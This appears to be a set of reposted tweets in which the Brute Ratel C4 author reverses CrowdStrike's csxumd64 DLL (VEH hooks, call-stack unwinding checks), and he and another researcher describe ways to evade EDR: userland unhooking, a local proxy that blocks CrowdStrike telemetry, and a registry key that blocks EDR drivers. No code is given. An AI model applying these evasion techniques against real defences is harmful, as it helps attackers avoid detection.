😈 [ Chetan Nayak (Brute Ratel C4 Author) @NinjaParanoid ]

Got a question from a BruteRatel operator in the BRC4 discord channel as to what the newly implemented csxumd64_xxxxx.dll module in Crowdstrike does. So, heres my little explanation post reversing it.

Crowdstrike implants 3 DLLs in their latest version - umppcxxxxx.dll, csxumd64_xxxxx.dll and umpdc.dll. UMPPC is the main usermode DLL which hooks into various NTAPI. UMPDC is more focused towards ADDC related attacks. Maybe another tweet on this later. But the CSXUMD64 (or Extended User Mode Data Module as CS likes to call it) is mainly responsible for analyzing the call stacks of various API calls, as well as a few new thread pool hooks such as CreateThreadPoolWork, maybe to check for loaded libraries or similar. The callstacks are analyzed only when a certain set of conditions are hit. Heres a walkthrough of the Callstack which I've lablelled and explained:

Image 1: Hooked API call (CreateThreadPoolWork in combase.dll) jumps to csxumd64
Image 2: csxumd64 saves the registers to stack before calling RtlAddVectoredExceptionHandler. This API call enables VEH hooking for an internal function of csxumd64 (rdx register)
Image 3: VEH function checks a few arguments and if the profile fits, it will jump to another internal function
Image 4: This function calls RtlCaptureContext to get register and stack information about the thread which call the Hooked API call in Image 1 (CreateThreadPoolWork), Now here...

a. RtlCaptureContext returns a pointer to a CONTEXT structer which has the current thread metadata required to walk the stack.
b. The return address captured from the CONTEXT structure is passed on to RtlLookupFunctionEntry which returns a pointer to RUNTIME_FUNCTION structure containing the unwind data for the stack.
c. This unwind data is then verified against the output from API RtlVirtualUnwind to check if the callstack is being backed to disk. If this is not backed, VEH is removed and the process is killed using ZwTerminateProcess API.

Crowdstrike mentions in their documentation that this module captures additional data, but can incur greater performance penalities, which does make sense, as VEH and stack tracing can seriously affect process performance when done on a large scale. However, what is extremely dumb here is, that they are not performing ETWTI stack tracing from the Kernel like ATP/Elastic or FortiEDR to avoid being simply unhooked from the userland. Wondering if I should release the tool to simply undo all the hooks that CS has placed, or just let it play out. :D

Theres a lot more that happens within these three DLLs which I've incorporated in my v1.8 release for BRC4, and will also be discussing about some of them in the January 2024 Malware On Steroids workshop.

🐥 [ tweet ]

😈 [ Chetan Nayak (Brute Ratel C4 Author) @NinjaParanoid ]

Now that cats out of the bag, Let me state that I've been exploiting the last part (IE Proxy modification) in my last few Red team engagements to deploy a local proxy via BOF which blocks all Crowdstrike traffic and only allows only the ones I've whitelisted 😛. Heres a quick snapshot to identify Crowdstrike traffic (cloudsink.net) via local socks proxy 🫢. Might post its BOF later, unless someone beats me to it.

🐥 [ tweet ]

Комментарий относительно этого разбора бсода от 360

😈 [ Yarden Shafir @yarden_shafir ]

Another method that still works on most EDRs is HVCIDisallowedImages reg key that blocks drivers by filename.
Can take multiple filenames, but requires HVCI to be enabled + reboot.

🐥 [ tweet ][ quote ]